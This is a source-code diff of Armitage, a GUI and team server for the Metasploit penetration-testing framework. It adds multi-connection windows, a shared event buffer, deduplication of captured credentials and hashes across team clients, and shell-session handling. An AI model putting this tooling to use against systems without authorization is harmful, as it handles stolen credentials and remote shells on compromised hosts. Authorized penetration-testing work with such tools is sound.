[System exit: 0];
[JOptionPane showMessageDialog: $__frame__, $1];
[$__frame__ closeConnect];
}
sub ask {
@ -155,7 +155,7 @@ sub chooseFile {
[$fc setFileSelectionMode: [JFileChooser DIRECTORIES_ONLY]];
}
[$fc showOpenDialog: $frame];
[$fc showOpenDialog: $__frame__];
if ($multi) {
return [$fc getSelectedFiles];
@ -179,17 +179,18 @@ sub saveFile2 {
[$fc setSelectedFile: [new java.io.File: $sel]];
}
[$fc showSaveDialog: $frame];
if ([$fc showSaveDialog: $__frame__] == 0) {
$file = [$fc getSelectedFile];
if ($file !is $null) {
return $file;
}
}
}
sub saveFile {
local('$fc $file');
$fc = [new JFileChooser];
[$fc showSaveDialog: $frame];
[$fc showSaveDialog: $__frame__];
$file = [$fc getSelectedFile];
if ($file !is $null) {
local('$ihandle $data $ohandle');
@ -250,10 +251,10 @@ sub left {
sub dialog {
local('$dialog $4');
$dialog = [new JDialog: $frame, $1];
$dialog = [new JDialog: $__frame__, $1];
[$dialog setSize: $2, $3];
[$dialog setLayout: [new BorderLayout]];
[$dialog setLocationRelativeTo: $frame];
[$dialog setLocationRelativeTo: $__frame__];
return $dialog;
}
@ -261,7 +262,15 @@ sub window {
local('$dialog $4');
$dialog = [new JFrame: $1];
[$dialog setIconImage: [ImageIO read: resource("resources/armitage-icon.gif")]];
[$dialog setDefaultCloseOperation: [JFrame EXIT_ON_CLOSE]];
fork({
[$dialog addWindowListener: {
if ($0 eq "windowClosing") {
[$__frame__ closeConnect];
}
}];
}, \$__frame__, \$dialog);
[$dialog setSize: $2, $3];
[$dialog setLayout: [new BorderLayout]];
return $dialog;
@ -277,12 +286,14 @@ sub overlay_images {
return %cache[join(';', $1)];
}
local('$file $image $buffered $graphics');
local('$file $image $buffered $graphics $resource');
$buffered = [new BufferedImage: 1000, 776, [BufferedImage TYPE_INT_ARGB]];
$graphics = [$buffered createGraphics];
foreach $file ($1) {
$image = [ImageIO read: resource($file)];
$resource = resource($file);
$image = [ImageIO read: $resource];
closef($resource);
[$graphics drawImage: $image, 0, 0, 1000, 776, $null];
}
@ -371,15 +382,6 @@ sub wrapComponent {
return $panel;
}
sub setLookAndFeel {
local('$laf');
foreach $laf ([UIManager getInstalledLookAndFeels]) {
if ([$laf getName] eq [$preferences getProperty: "application.skin.skin", "Nimbus"]) {
[UIManager setLookAndFeel: [$laf getClassName]];
}
}
}
sub thread {
local('$thread');
$thread = [new ArmitageThread: $1];
@ -467,6 +469,13 @@ sub quickListDialog {
[$dialog setVisible: 1];
}
sub setTableColumnWidths {
local('$col $width $temp');
foreach $col => $width ($2) {
[[$1 getColumn: $col] setPreferredWidth: $width];
}
}
sub tableRenderer {
return [ATable getDefaultTableRenderer: $1, $2];
}

View File

@ -8,10 +8,10 @@ import java.awt.event.*;
sub addHostDialog {
local('$dialog $label $text $finish $button');
$dialog = [new JDialog: $frame, "Add Hosts", 0];
$dialog = [new JDialog: $__frame__, "Add Hosts", 0];
[$dialog setSize: 320, 240];
[$dialog setLayout: [new BorderLayout]];
[$dialog setLocationRelativeTo: $frame];
[$dialog setLocationRelativeTo: $__frame__];
$label = [new JLabel: "Enter one host/line:"];
$text = [new JTextArea];

View File

@ -15,8 +15,8 @@ sub logNow {
if ([$preferences getProperty: "armitage.log_everything.boolean", "true"] eq "true") {
local('$today $stream');
$today = formatDate("yyMMdd");
mkdir(getFileProper(dataDirectory(), $today, $2));
$stream = %logs[ getFileProper(dataDirectory(), $today, $2, "$1 $+ .log") ];
mkdir(getFileProper(dataDirectory(), $today, $DESCRIBE, $2));
$stream = %logs[ getFileProper(dataDirectory(), $today, $DESCRIBE, $2, "$1 $+ .log") ];
[$stream println: $3];
}
}
@ -26,8 +26,8 @@ sub logCheck {
local('$today');
$today = formatDate("yyMMdd");
if ($2 ne "") {
mkdir(getFileProper(dataDirectory(), $today, $2));
[$1 writeToLog: %logs[ getFileProper(dataDirectory(), $today, $2, "$3 $+ .log") ]];
mkdir(getFileProper(dataDirectory(), $today, $DESCRIBE, $2));
[$1 writeToLog: %logs[ getFileProper(dataDirectory(), $today, $DESCRIBE, $2, "$3 $+ .log") ]];
}
}
}
@ -38,7 +38,7 @@ sub logFile {
local('$today $handle $data $out');
$today = formatDate("yyMMdd");
if (-exists $1 && -canread $1) {
mkdir(getFileProper(dataDirectory(), $today, $2, $3));
mkdir(getFileProper(dataDirectory(), $today, $DESCRIBE, $2, $3));
# read in the file
$handle = openf($1);
@ -46,7 +46,7 @@ sub logFile {
closef($handle);
# write it out.
$out = getFileProper(dataDirectory(), $today, $2, $3, getFileName($1));
$out = getFileProper(dataDirectory(), $today, $DESCRIBE, $2, $3, getFileName($1));
$handle = openf("> $+ $out");
writeb($handle, $data);
closef($handle);
@ -70,7 +70,7 @@ sub initLogSystem {
logFile([$file getAbsolutePath], "screenshots", ".");
deleteFile([$file getAbsolutePath]);
showError("Saved " . getFileName($file) . "\nGo to View -> Reporting -> Activity Logs\n\nThe file is in:\n[today's date]/screenshots");
showError("Saved " . getFileName($file) . "\nGo to View -> Reporting -> Activity Logs\n\nThe file is in:\n[today's date]/ $+ $DESCRIBE $+ /screenshots");
}, \$image, \$title));
}];
}

View File

@ -119,10 +119,13 @@ sub view_items {
sub armitage_items {
local('$m');
item($1, 'Preferences', 'P', &createPreferencesTab);
item($1, 'New Connection', 'N', {
[new armitage.ArmitageMain: cast(@ARGV, ^String), $__frame__, $null];
});
separator($1);
item($1, 'Preferences', 'P', &createPreferencesTab);
dynmenu($1, 'Set Target View', 'S', {
local('$t1 $t2');
if ([$preferences getProperty: "armitage.string.target_view", "graph"] eq "graph") {
@ -183,12 +186,13 @@ sub armitage_items {
separator($1);
item($1, 'Exit', 'x', {
item($1, 'Close', 'C', {
if ($msfrpc_handle !is $null) {
closef($msfrpc_handle);
}
[System exit: 0];
map({ closef($1); }, @CLOSEME);
[$__frame__ quit];
});
}
@ -246,7 +250,7 @@ sub help_items {
[$dialog add: $label, [BorderLayout CENTER]];
[$dialog pack];
[$dialog setLocationRelativeTo: $null];
[$dialog setLocationRelativeTo: $__frame__];
[$dialog setVisible: 1];
});
}

View File

@ -58,12 +58,38 @@ import ui.*;
sub refreshCredsTable {
thread(lambda({
[Thread yield];
local('$creds $cred');
local('$creds $cred $desc $aclient %check $key');
[$model clear: 128];
$creds = call($mclient, "db.creds2", [new HashMap])["creds2"];
foreach $desc => $aclient (convertAll([$__frame__ getClients])) {
$creds = call($aclient, "db.creds2", [new HashMap])["creds2"];
foreach $cred ($creds) {
if ($title ne "login" || $cred['ptype'] ne "smb_hash") {
$key = join("~~", values($cred, @("user", "pass", "host")));
if ($key in %check) {
}
else if ($title ne "login" || $cred['ptype'] ne "smb_hash") {
[$model addEntry: $cred];
%check[$key] = 1;
}
}
}
[$model fireListeners];
}, $model => $1, $title => $2));
}
sub refreshCredsTableLocal {
thread(lambda({
[Thread yield];
local('$creds $cred $desc $aclient %check $key');
[$model clear: 128];
$creds = call($client, "db.creds2", [new HashMap])["creds2"];
foreach $cred ($creds) {
$key = join("~~", values($cred, @("user", "pass", "host")));
if ($key in %check) {
}
else if ($title ne "login" || $cred['ptype'] ne "smb_hash") {
[$model addEntry: $cred];
%check[$key] = 1;
}
}
[$model fireListeners];
@ -71,7 +97,7 @@ sub refreshCredsTable {
}
sub show_hashes {
local('$dialog $model $table $sorter $o $user $pass $button $reverse $domain $scroll');
local('$dialog $model $table $sorter $o $user $pass $button $reverse $domain $scroll $3');
$dialog = dialog($1, 480, $2);
@ -83,7 +109,12 @@ sub show_hashes {
[$sorter setComparator: 2, &compareHosts];
[$table setRowSorter: $sorter];
if ($3) {
refreshCredsTableLocal($model, $1);
}
else {
refreshCredsTable($model, $1);
}
$scroll = [new JScrollPane: $table];
[$scroll setPreferredSize: [new Dimension: 480, 130]];
@ -94,7 +125,7 @@ sub show_hashes {
sub createCredentialsTab {
local('$dialog $table $model $panel $export $crack $refresh');
($dialog, $table, $model) = show_hashes("", 320);
($dialog, $table, $model) = show_hashes("", 320, 1);
[$dialog removeAll];
addMouseListener($table, lambda({
@ -131,7 +162,7 @@ sub createCredentialsTab {
$refresh = [new JButton: "Refresh"];
[$refresh addActionListener: lambda({
refreshCredsTable($model, $null);
refreshCredsTableLocal($model, $null);
}, \$model)];
$crack = [new JButton: "Crack Passwords"];

View File

@ -107,10 +107,10 @@ sub pivot_dialog {
}
local('$dialog $model $table $sorter $center $a $route $button');
$dialog = [new JDialog: $frame, $title, 0];
$dialog = [new JDialog: $__frame__, $title, 0];
[$dialog setSize: 320, 240];
[$dialog setLayout: [new BorderLayout]];
[$dialog setLocationRelativeTo: $frame];
[$dialog setLocationRelativeTo: $__frame__];
[$dialog setLayout: [new BorderLayout]];

View File

@ -57,6 +57,10 @@ sub parseYaml {
sub loadPreferences {
local('$file $prefs');
$file = getFileProper(systemProperties()["user.home"], ".armitage.prop");
if ($__frame__ !is $null && [$__frame__ getPreferences] !is $null) {
$prefs = [$__frame__ getPreferences];
}
else {
$prefs = [new Properties];
if (-exists $file) {
[$prefs load: [new java.io.FileInputStream: $file]];
@ -65,6 +69,11 @@ sub loadPreferences {
[$prefs load: resource("resources/armitage.prop")];
}
if ($__frame__ !is $null) {
[$__frame__ setPreferences: $prefs];
}
}
# parse command line options here.
global('$yaml_file $yaml_entry');

View File

@ -182,28 +182,21 @@ sub queryData {
[$progress setProgress: 30];
}
# 4. clients
%r['clients'] = call($mclient, "db.clients")["clients"];
if ($progress) {
[$progress setProgress: 35];
}
# 5. sessions...
# 4. sessions...
%r['sessions'] = fixSessions(call($mclient, "db.sessions")["sessions"]);
if ($progress) {
[$progress setProgress: 36];
}
# 6. timeline
# 5. timeline
%r['timeline'] = fixTimeline(call($mclient, "db.events")['events']);
if ($progress) {
[$progress setProgress: 38];
}
# 7. hosts and services
# 6. hosts and services
local('@hosts @services $temp $h $s $x');
call($mclient, "armitage.prep_export", $1);
@ -291,32 +284,27 @@ sub _generateArtifacts {
[$progress setProgress: 65];
# 4. clients
dumpData("clients", @("host", "created_at", "updated_at", "ua_name", "ua_ver", "ua_string"), %data['clients']);
[$progress setProgress: 70];
# 5. hosts
# 4. hosts
dumpData("hosts", @("address", "mac", "state", "address", "address6", "name", "purpose", "info", "os_name", "os_flavor", "os_sp", "os_lang", "os_match", "created_at", "updated_at"), %data['hosts']);
[$progress setProgress: 80];
# 6. services
# 5. services
dumpData("services", @("host", "port", "state", "proto", "name", "created_at", "updated_at", "info"), %data['services']);
[$progress setProgress: 90];
# 7. sessions
# 6. sessions
dumpData("sessions", @("host", "local_id", "stype", "platform", "via_payload", "via_exploit", "opened_at", "last_seen", "closed_at", "close_reason"), %data['sessions']);
[$progress setProgress: 93];
# 8. timeline
# 7. timeline
dumpData("timeline", @("source", "username", "created_at", "info"), %data['timeline']);
[$progress setProgress: 96];
# 9. take a pretty screenshot of the graph view...
# 8. take a pretty screenshot of the graph view...
[$progress setNote: "host picture :)"];
makeScreenshot("hosts.png");
@ -330,7 +318,7 @@ sub _generateArtifacts {
fire_event_async("user_export", %data);
return getFileProper(dataDirectory(), formatDate("yyMMdd"), "artifacts");
return getFileProper(dataDirectory(), formatDate("yyMMdd"), $DESCRIBE, "artifacts");
}
#
@ -368,8 +356,6 @@ sub api_export_data {
}
sub initReporting {
global('$poll_lock @events'); # set in the dserver, not in stand-alone Armitage
wait(fork({
global('$db');
[$client addHook: "armitage.export_data", &api_export_data];

View File

@ -35,9 +35,7 @@ sub result {
sub event {
local('$result');
$result = formatDate("HH:mm:ss") . " $1";
acquire($poll_lock);
push(@events, $result);
release($poll_lock);
[$events put: $result];
}
sub client {
@ -96,16 +94,6 @@ sub client {
[[$handle getOutputStream] flush];
}
# limit our replay of the event log to 100 events...
acquire($poll_lock);
if (size(@events) > 100) {
$index = size(@events) - 100;
}
else {
$index = 0;
}
release($poll_lock);
#
# on our merry way processing it...
#
@ -183,33 +171,30 @@ sub client {
else if ($method eq "armitage.log") {
($data, $address) = $args;
event("* $eid $data $+ \n");
if ($address is $null) {
$address = [$client getLocalAddress];
}
call_async($client, "db.log_event", "$address $+ // $+ $eid", $data);
writeObject($handle, result(%()));
}
else if ($method eq "armitage.skip") {
acquire($poll_lock);
$index = size(@events);
release($poll_lock);
[$events get: $eid];
writeObject($handle, result(%()));
}
else if ($method eq "armitage.poll" || $method eq "armitage.push") {
acquire($poll_lock);
if ($method eq "armitage.push") {
($null, $data) = $args;
foreach $temp (split("\n", $data)) {
push(@events, formatDate("HH:mm:ss") . " < $+ $[10]eid $+ > " . $data);
[$events put: formatDate("HH:mm:ss") . " < $+ $[10]eid $+ > " . $data];
}
}
if (size(@events) > $index) {
$rv = result(%(data => join("", sublist(@events, $index)), encoding => "base64", prompt => "$eid $+ > "));
$index = size(@events);
$rv = result(%(data => [$events get: $eid], encoding => "base64", prompt => "$eid $+ > "));
writeObject($handle, $rv);
}
else {
$rv = result(%(data => "", prompt => "$eid $+ > ", encoding => "base64"));
}
release($poll_lock);
else if ($method eq "armitage.lusers") {
$rv = [new HashMap];
[$rv put: "lusers", [$events clients]];
writeObject($handle, $rv);
}
else if ($method eq "armitage.append") {
@ -308,6 +293,10 @@ sub client {
$response = [$client execute: $method, cast($args, ^Object)];
writeObject($handle, $response);
}
else if ($method eq "module.execute_direct") {
$response = [$client execute: "module.execute", cast($args, ^Object)];
writeObject($handle, $response);
}
else if ($method in %async) {
if ($args) {
[$client execute_async: $method, cast($args, ^Object)];
@ -333,6 +322,7 @@ sub client {
if ($eid !is $null) {
event("*** $eid left.\n");
[$events free: $eid];
}
# reset the user's filter...
@ -355,7 +345,7 @@ sub client {
sub main {
global('$client $mclient');
local('$server %sessions $sess_lock $read_lock $poll_lock $lock_lock %locks %readq $id @events $error $auth %cache $cach_lock $client_cache $handle $console');
local('$server %sessions $sess_lock $read_lock $lock_lock %locks %readq $id $error $auth %cache $cach_lock $client_cache $handle $console $events');
$auth = unpack("H*", digest(rand() . ticks(), "MD5"))[0];
@ -413,10 +403,12 @@ sub main {
#
$sess_lock = semaphore(1);
$read_lock = semaphore(1);
$poll_lock = semaphore(1);
$lock_lock = semaphore(1);
$cach_lock = semaphore(1);
# setup any shared buffers...
$events = [new armitage.ArmitageBuffer: 250];
# set the LHOST to whatever the user specified (use console.write to make the string not UTF-8)
$console = createConsole($client);
call($client, "console.write", $console, "setg LHOST $host $+ \n");
@ -424,6 +416,9 @@ sub main {
# absorb the output of this command which is LHOST => ...
call($client, "console.read", $console);
# update server's understanding of this value...
call($client, "armitage.set_ip", $host);
#
# create a thread to push console messages to the event queue for all clients.
#
@ -433,12 +428,10 @@ sub main {
sleep(2000);
$r = call($client, "console.read", $console);
if ($r["data"] ne "") {
acquire($poll_lock);
push(@events, formatDate("HH:mm:ss") . " " . $r["data"]);
release($poll_lock);
[$events put: formatDate("HH:mm:ss") . " " . $r["data"]];
}
}
}, \$client, \$poll_lock, \@events, \$console);
}, \$client, \$events, \$console);
#
# Create a shared hash that contains a thread for each session...
@ -535,7 +528,7 @@ service framework-postgres start");
$handle = [$server accept];
if ($handle !is $null) {
%readq[$id] = %();
fork(&client, \$client, \$handle, \%sessions, \$read_lock, \$sess_lock, \$poll_lock, $queue => %readq[$id], \$id, \@events, \$auth, \%locks, \$lock_lock, \$cach_lock, \%cache, \$motd, \$client_cache, $_user => $user, $_pass => $pass);
fork(&client, \$client, \$handle, \%sessions, \$read_lock, \$sess_lock, $queue => %readq[$id], \$id, \$events, \$auth, \%locks, \$lock_lock, \$cach_lock, \%cache, \$motd, \$client_cache, $_user => $user, $_pass => $pass);
$id++;
}

View File

@ -290,7 +290,7 @@ sub createShellSessionTab {
return;
}
$thread = [new ConsoleClient: $console, $client, "session.shell_read", "session.shell_write", $null, $sid, 0];
$thread = [new ConsoleClient: $console, rand(@POOL), "session.shell_read", "session.shell_write", $null, $sid, 0];
[$frame addTab: "Shell $sid", $console, lambda({
call_async($mclient, "armitage.unlock", $sid);
[$thread kill];

View File

@ -193,6 +193,11 @@ on hosts {
$address = $host['address'];
if ($address in %hosts && size(%hosts[$address]) > 1) {
%newh[$address] = %hosts[$address];
# set the label to empty b/c team server won't add labels if there are no labels. This fixes
# a corner case where a user might clear all labels and find they won't go away
%newh[$address]['label'] = '';
putAll(%newh[$address], keys($host), values($host));
if ($host['os_name'] eq "") {
@ -262,7 +267,7 @@ sub _importHosts {
}
$console = createDisplayTab("Import", $file => "import");
[$console addCommand: $null, "db_import " . strrep(join(" ", $files), "\\", "\\\\")];
[$console addCommand: 'x', "db_import " . strrep(join(" ", $files), "\\", "\\\\")];
[$console addListener: lambda({
elog("imported hosts from $success file" . iff($success != 1, "s"));
}, \$success)];
@ -346,8 +351,10 @@ sub clearHostFunction {
}
sub clearDatabase {
if (!askYesNo("This action will clear the database. You will lose all information\ncollected up to this point. You will not be able toget it back.\nWould you like to clear the database?", "Clear Database")) {
elog("cleared the database");
call_async($mclient, "db.clear");
}
}
# called when a target is clicked on...

View File

@ -78,7 +78,7 @@ sub setupEventStyle {
sub createDisplayTab {
local('$console $host $queue $file');
$queue = [new ConsoleQueue: $client];
$queue = [new ConsoleQueue: rand(@POOL)];
if ($1 eq "Log Keystrokes") {
$console = [new ActivityConsole: $preferences];
}
@ -100,7 +100,7 @@ sub createConsolePanel {
setupConsoleStyle($console);
$result = call($client, "console.create");
$thread = [new ConsoleClient: $console, $aclient, "console.read", "console.write", "console.destroy", $result['id'], $1];
$thread = [new ConsoleClient: $console, rand(@POOL), "console.read", "console.write", "console.destroy", $result['id'], $1];
[$thread setMetasploitConsole];
[$thread setSessionListener: {
@ -151,6 +151,11 @@ sub createConsoleTab {
}
sub setg {
# update team server's understanding of LHOST
if ($1 eq "LHOST") {
call_async($client, "armitage.set_ip", $2);
}
%MSF_GLOBAL[$1] = $2;
local('$c');
$c = createConsole($client);
@ -381,7 +386,7 @@ sub connectDialog {
$msfrpc_handle = $null;
}
local('$dialog $host $port $ssl $user $pass $button $cancel $start $center $help $helper');
local('$dialog $host $port $ssl $user $pass $button $start $center $help $helper');
$dialog = window("Connect...", 0, 0);
# setup our nifty form fields..
@ -398,8 +403,6 @@ sub connectDialog {
$help = [new JButton: "Help"];
[$help setToolTipText: "<html>Use this button to view the Getting Started Guide on the Armitage homepage</html>"];
$cancel = [new JButton: "Exit"];
# lay them out
$center = [new JPanel];
@ -422,9 +425,14 @@ sub connectDialog {
($h, $p, $u, $s) = @o;
[$dialog setVisible: 0];
connectToMetasploit($h, $p, $u, $s);
if ($h eq "127.0.0.1" || $h eq "::1" || $h eq "localhost") {
if ($__frame__ && [$__frame__ checkLocal]) {
showError("You can't connect to localhost twice");
[$dialog setVisible: 1];
return;
}
try {
closef(connect("127.0.0.1", $p, 1000));
}
@ -434,35 +442,31 @@ sub connectDialog {
}
}
}
connectToMetasploit($h, $p, $u, $s);
}, \$dialog, \$host, \$port, \$user, \$pass)];
[$help addActionListener: gotoURL("http://www.fastandeasyhacking.com/start")];
[$cancel addActionListener: {
[System exit: 0];
}];
[$dialog pack];
[$dialog setLocationRelativeTo: $null];
[$dialog setVisible: 1];
}
sub _elog {
sub elog {
local('$2');
if ($client !is $mclient) {
# $2 can be NULL here. team server will populate it...
call_async($mclient, "armitage.log", $1, $2);
}
else {
call_async($client, "db.log_event", "$2 $+ //", $1);
}
}
sub elog {
local('$2');
# since we're not on a team server, no one else will have
# overwritten LHOST, so we can trust $MY_ADDRESS to be current
if ($2 is $null) {
$2 = $MY_ADDRESS;
}
_elog($1, $2);
call_async($client, "db.log_event", "$2 $+ //", $1);
}
}
sub module_execute {

View File

@ -13,13 +13,32 @@ import cortana.gui.MenuBuilder;
import ui.*;
public class ArmitageApplication extends JFrame {
public class ArmitageApplication extends JComponent {
protected JTabbedPane tabs = null;
protected JSplitPane split = null;
protected JMenuBar menus = new JMenuBar();
protected ScreenshotManager screens = null;
protected KeyBindings keys = new KeyBindings();
protected MenuBuilder builder = null;
protected String title = "";
protected MultiFrame window = null;
public KeyBindings getBindings() {
return keys;
}
public void setTitle(String title) {
this.title = title;
window.setTitle(this, title);
}
public String getTitle() {
return title;
}
public void setIconImage(Image blah) {
window.setIconImage(blah);
}
public void setScreenshotManager(ScreenshotManager m) {
screens = m;
@ -192,7 +211,7 @@ public class ArmitageApplication extends JFrame {
/* pop goes the tab! */
final JFrame r = new JFrame(t.title);
r.setIconImages(getIconImages());
//r.setIconImages(getIconImages());
r.setLayout(new BorderLayout());
r.add(t.component, BorderLayout.CENTER);
r.pack();
@ -366,8 +385,20 @@ public class ArmitageApplication extends JFrame {
component.requestFocusInWindow();
}
public ArmitageApplication() {
public void touch() {
Component c = tabs.getSelectedComponent();
if (c == null)
return;
if (c instanceof Activity)
((Activity)c).resetNotification();
c.requestFocusInWindow();
}
public ArmitageApplication(MultiFrame f, String details, msf.RpcConnection conn) {
super();
window = f;
tabs = new DraggableTabbedPane();
setLayout(new BorderLayout());
@ -383,10 +414,8 @@ public class ArmitageApplication extends JFrame {
/* add our tabbed pane */
add(split, BorderLayout.CENTER);
/* setup our key bindings */
KeyboardFocusManager.getCurrentKeyboardFocusManager().addKeyEventDispatcher(keys);
/* ... */
setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
//setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
((ui.MultiFrame)window).addButton(details, this, conn);
}
}

View File

@ -0,0 +1,138 @@
package armitage;
import java.util.*;
/*
* Implement a thread safe store that any client may write to and
* any client may read from (keeping track of their cursor into
* the console)
*/
public class ArmitageBuffer {
private static final class Message {
public String message = null;
public Message next = null;
}
/* store our messages... */
public Message first = null;
public Message last = null;
public long size = 0;
public long max = 0;
public String prompt = "";
/* store indices into this buffer */
public Map indices = new HashMap();
/* setup the buffer?!? :) */
public ArmitageBuffer(long max) {
this.max = max;
}
/* store a prompt with this buffer... we're not going to do any indexing magic for now */
public String getPrompt() {
synchronized (this) {
return prompt;
}
}
/* set the prompt */
public void setPrompt(String text) {
synchronized (this) {
prompt = text;
}
}
/* post a message to this buffer */
public void put(String text) {
synchronized (this) {
/* create our message */
Message m = new Message();
m.message = text;
/* store our message */
if (last == null && first == null) {
first = m;
last = m;
}
else {
last.next = m;
last = m;
}
/* increment number of stored messages */
size += 1;
/* limit the total number of past messages to the max size */
if (size > max) {
first = first.next;
}
}
}
/* retrieve a set of all clients consuming this buffer */
public Collection clients() {
synchronized (this) {
LinkedList clients = new LinkedList(indices.keySet());
return clients;
}
}
/* free a client */
public void free(String id) {
synchronized (this) {
indices.remove(id);
}
}
/* reset our indices too */
public void reset() {
synchronized (this) {
first = null;
last = null;
indices.clear();
size = 0;
}
}
/* retrieve all messages available to the client (if any) */
public String get(String id) {
synchronized (this) {
/* nadaz */
if (first == null)
return "";
/* get our index into the buffer */
Message index = null;
if (!indices.containsKey(id)) {
index = first;
}
else {
index = (Message)indices.get(id);
/* nothing happening */
if (index.next == null)
return "";
index = index.next;
}
/* now let's walk through it */
StringBuffer result = new StringBuffer();
Message temp = index;
while (temp != null) {
result.append(temp.message);
index = temp;
temp = temp.next;
}
/* store our index */
indices.put(id, index);
return result.toString();
}
}
public String toString() {
return "[" + size + " messages]";
}
}

View File

@ -9,10 +9,10 @@ import sleep.engine.*;
import sleep.parser.ParserConfig;
import java.util.*;
import java.io.*;
import cortana.core.*;
import ui.*;
/**
* This class launches Armitage and loads the scripts that are part of it.
@ -101,7 +101,7 @@ public class ArmitageMain implements RuntimeWarningWatcher, Loadable, Function {
};
}
public ArmitageMain(String[] args) {
public ArmitageMain(String[] args, MultiFrame window, boolean serverMode) {
/* tweak the parser to recognize a few useful escapes */
ParserConfig.installEscapeConstant('c', console.Colors.color + "");
ParserConfig.installEscapeConstant('U', console.Colors.underline + "");
@ -118,15 +118,6 @@ public class ArmitageMain implements RuntimeWarningWatcher, Loadable, Function {
ScriptLoader loader = new ScriptLoader();
loader.addSpecificBridge(this);
/* check for server mode option */
boolean serverMode = false;
int x = 0;
for (x = 0; x < args.length; x++) {
if (args[x].equals("--server"))
serverMode = true;
}
/* setup Cortana event and filter bridges... we will install these into
Armitage */
if (!serverMode) {
@ -135,6 +126,7 @@ public class ArmitageMain implements RuntimeWarningWatcher, Loadable, Function {
variables.putScalar("$__events__", SleepUtils.getScalar(events));
variables.putScalar("$__filters__", SleepUtils.getScalar(filters));
variables.putScalar("$__frame__", SleepUtils.getScalar(window));
loader.addGlobalBridge(events.getBridge());
loader.addGlobalBridge(filters.getBridge());
@ -142,7 +134,7 @@ public class ArmitageMain implements RuntimeWarningWatcher, Loadable, Function {
/* load the appropriate scripts */
String[] scripts = serverMode ? getServerScripts() : getGUIScripts();
int x = -1;
try {
for (x = 0; x < scripts.length; x++) {
InputStream i = this.getClass().getClassLoader().getResourceAsStream(scripts[x]);
@ -161,6 +153,23 @@ public class ArmitageMain implements RuntimeWarningWatcher, Loadable, Function {
}
public static void main(String args[]) {
new ArmitageMain(args);
/* check for server mode option */
boolean serverMode = false;
int x = 0;
for (x = 0; x < args.length; x++) {
if (args[x].equals("--server"))
serverMode = true;
}
/* setup our armitage instance */
if (serverMode) {
new ArmitageMain(args, null, serverMode);
}
else {
MultiFrame.setupLookAndFeel();
MultiFrame frame = new MultiFrame();
new ArmitageMain(args, frame, serverMode);
}
}
}

View File

@ -215,6 +215,7 @@ public class ConsoleClient implements Runnable, ActionListener {
Map read;
boolean shouldRead = go_read;
String command = null;
long last = 0;
try {
while (shouldRead) {
@ -230,20 +231,22 @@ public class ConsoleClient implements Runnable, ActionListener {
lastRead = System.currentTimeMillis();
}
long now = System.currentTimeMillis();
if (this.window != null && !this.window.isShowing() && (now - last) < 1500) {
/* check if our window is not showing... if not, then we're going to switch to a very reduced
read schedule. */
}
else {
read = readResponse();
if (read == null || "failure".equals( read.get("result") + "" )) {
break;
}
processRead(read);
last = System.currentTimeMillis();
}
if ((System.currentTimeMillis() - lastRead) <= 500) {
Thread.sleep(10);
}
else {
Thread.sleep(500);
}
Thread.sleep(100);
synchronized (listeners) {
shouldRead = go_read;

View File

@ -0,0 +1,60 @@
package armitage;
import console.Console;
import msf.*;
import java.util.*;
import java.awt.*;
import java.awt.event.*;
import javax.swing.*;
import java.io.IOException;
public class EventLogTabCompletion extends GenericTabCompletion {
protected RpcConnection connection;
public EventLogTabCompletion(Console window, RpcConnection connection) {
super(window);
this.connection = connection;
}
public Collection getOptions(String text) {
try {
Map response = (Map)connection.execute("armitage.lusers", new Object[] {});
if (response.get("lusers") == null)
return null;
Iterator users = ((Collection)response.get("lusers")).iterator();
LinkedList options = new LinkedList();
String word;
String pre;
if (text.endsWith(" ")) {
word = "";
pre = text;
}
if (text.lastIndexOf(" ") != -1) {
word = text.substring(text.lastIndexOf(" ") + 1);
pre = text.substring(0, text.lastIndexOf(" ") + 1);
}
else {
word = text;
pre = "";
}
while (users.hasNext()) {
String user = users.next() + "";
if (user.startsWith(word)) {
options.add(pre + user);
}
}
return options;
}
catch (IOException ioex) {
ioex.printStackTrace();
}
return null;
}
}

View File

@ -130,6 +130,10 @@ public class Sessions extends ManagedData {
}
}
/* calculate the differences and fire some events based on them */
Set newSessions = DataUtils.difference(after, before);
fireSessionEvents("session_open", newSessions.iterator(), dataz);
/* calculate sync events and fix the nonsync set */
Set newsync = DataUtils.intersection(syncz, nonsync);
fireSessionEvents("session_sync", newsync.iterator(), dataz);
@ -137,11 +141,9 @@ public class Sessions extends ManagedData {
/* update our list of non-synced sessions */
nonsync.removeAll(syncz);
/* calculate the differences and fire some events based on them */
Set newSessions = DataUtils.difference(after, before);
fireSessionEvents("session_open", newSessions.iterator(), dataz);
newSessions.retainAll(syncz);
/* these are sessions that are new and sync'd -- fire events for them... */
newSessions.removeAll(newsync); /* we already fired events for these */
newSessions.retainAll(syncz); /* keep anything that is synced */
fireSessionEvents("session_sync", newSessions.iterator(), dataz);
Set droppedSessions = DataUtils.difference(before, after);

View File

@ -30,12 +30,17 @@ public class UIBridge implements Loadable, Function {
if (name.equals("&later")) {
final SleepClosure f = BridgeUtilities.getFunction(args, script);
final Stack argz = EventManager.shallowCopy(args);
if (SwingUtilities.isEventDispatchThread()) {
SleepUtils.runCode(f, "laterz", null, argz);
}
else {
SwingUtilities.invokeLater(new Runnable() {
public void run() {
SleepUtils.runCode(f, "laterz", null, argz);
}
});
}
}
return SleepUtils.getEmptyScalar();
}

View File

@ -75,7 +75,8 @@ public class ShellSession implements Runnable {
/* loop forever waiting for response to come back. If session is dead
then this loop will break with an exception */
while (true) {
long start = System.currentTimeMillis();
while ((System.currentTimeMillis() - start) < 60000) {
response = readResponse();
String data = (response.get("data") + "");
@ -95,6 +96,7 @@ public class ShellSession implements Runnable {
Thread.sleep(100);
}
System.err.println(session + " -> " + c.text + " (took longer than anticipated, dropping: " + (System.currentTimeMillis() - start) + ")");
}
catch (Exception ex) {
System.err.println(session + " -> " + c.text + " ( " + response + ")");

View File

@ -310,13 +310,13 @@ public class DatabaseImpl implements RpcConnection {
if (hFilter.indexOf("sessions.") >= 0)
tables.add("sessions");
temp.put("db.hosts", "SELECT DISTINCT hosts.* FROM " + join(tables, ", ") + " WHERE hosts.workspace_id = " + workspaceid + " AND " + hFilter + " ORDER BY hosts.id ASC LIMIT " + limit1 + " OFFSET " + (limit1 * hindex));
temp.put("db.hosts", "SELECT DISTINCT hosts.id, hosts.updated_at, hosts.state, hosts.mac, hosts.purpose, hosts.os_flavor, hosts.os_name, hosts.address, hosts.os_sp FROM " + join(tables, ", ") + " WHERE hosts.workspace_id = " + workspaceid + " AND " + hFilter + " ORDER BY hosts.id ASC LIMIT " + limit1 + " OFFSET " + (limit1 * hindex));
}
else {
